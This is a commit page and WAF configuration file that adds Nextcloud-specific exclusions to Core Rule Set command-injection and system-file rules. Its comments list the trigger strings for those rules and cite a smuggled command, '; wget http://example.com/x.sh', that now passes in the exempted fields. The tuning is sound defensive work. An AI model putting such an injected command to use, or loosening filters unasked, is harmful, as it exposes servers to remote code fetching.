check / check (push) Successful in 5m6s
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and the body of a PUT there, an uploaded file, is not read. The cookie nc_username, and the fields that carry a search, a name, a file name or a folder, skip the four rules that read them as commands or system files. Comments, a share's note, a status and a document's text also skip the rules that refused ordinary sentences, and the document the two that refused a shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync client 3.16.7 and the OCS API pass at the defaults and while bodies are read. Model: opus-5-5
249 lines
14 KiB
Plaintext
249 lines
14 KiB
Plaintext
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
|
# a document's text. Each exclusion runs with the request, before the rules it
|
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
|
# applies only when the query has no parameter of that name, so it matters only
|
|
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
|
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
|
#
|
|
# Four rules read a search or a name as a command or a system file:
|
|
# 930120: .htaccess
|
|
# 932120: powershell
|
|
# 932250: ls -la
|
|
# 932260: python3
|
|
# Each exclusion below removes these four from its fields.
|
|
#
|
|
# A comment, a share's note and an account's status hold sentences a person
|
|
# writes. Four more rules refused ordinary sentences there:
|
|
# 932125: It is fixed; diff attached
|
|
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
|
# 932235: We need more time; find the old notes first
|
|
# 932380: Tested on Windows; powershell works
|
|
# The text of a document holds such sentences too, and code blocks. Two more
|
|
# rules refused a shell script in a code block:
|
|
# 932160: #!/bin/bash
|
|
# 932370: ```bash, which starts the code block
|
|
# These fields skip the rules that refused them. So a shell command such as
|
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
|
# injection, path traversal and script injection are still refused there.
|
|
|
|
# The sync client and the Files app use these WebDAV methods besides those
|
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
|
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
|
# MKCOL: making a folder, and starting a chunked upload
|
|
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
|
# REPORT: listing favourites and comments
|
|
# SEARCH: the Files app's search
|
|
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900100,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
|
|
|
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
|
# which every request sends, on every path. Each request of the account
|
|
# python3 was refused.
|
|
SecAction "id:900101,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
|
|
|
# Signing in, in the query or the body:
|
|
# user, password: user=python3&password=Example-pass-python3
|
|
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
"id:900102,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
|
|
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
|
"id:900103,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
|
|
|
# The file names on a public share's page. A preview names its file in file:
|
|
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
|
"id:900104,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
|
|
|
# A download names its folder in path and its files in files:
|
|
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
|
"id:900105,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
|
|
|
# The OCS API's searches and names, in the query, a form data body or a JSON
|
|
# body:
|
|
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
|
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
|
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
|
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
|
# account python3, displayName=Ls+-la+Example
|
|
# groups[], or groups in JSON: the groups of a new account,
|
|
# groups[]=Python3+admins
|
|
# value: changing an account's name, address or headline, value=Powershell+Lane
|
|
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
|
# label "python3 link"
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900106,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900107,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
|
|
|
# A share's note, in the query, a form data body or a JSON body, on a new
|
|
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900108,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900109,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.note "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
|
|
|
# An account's status, in the query, a form data body or a JSON body:
|
|
# {"message":"Tested on Windows; powershell works"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900110,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900111,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
# The name and slogan in the theming admin settings, in the JSON field value:
|
|
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
|
"id:900112,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.value "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
|
|
|
# The Text editor saves a document, such as a folder's Readme.md, with its
|
|
# path in the JSON field filePath and its text in autosaveContent. The text
|
|
# skips the rules for sentences and code blocks too.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
|
"id:900113,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
|
|
|
# A comment on a file, in the JSON field message of a new comment, and in the
|
|
# XML body of an edited one. It skips the rules for sentences too. An edited
|
|
# comment's XML holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
|
"id:900114,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
|
"id:900115,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932380;XML:/*"
|
|
|
|
# The Files app's search sends its words in the XML body of a SEARCH request,
|
|
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
|
"id:900116,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq SEARCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|
"id:900117,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.name "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
|
|
|
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
|
# paths is a file, not form data. Read as fields, a JSON file holding
|
|
# "python3 -m pytest" was refused (932260), and an XML file holding
|
|
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
|
# RAW, a kind of body sww does not read. Its headers, path and query are
|
|
# still checked.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900118,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|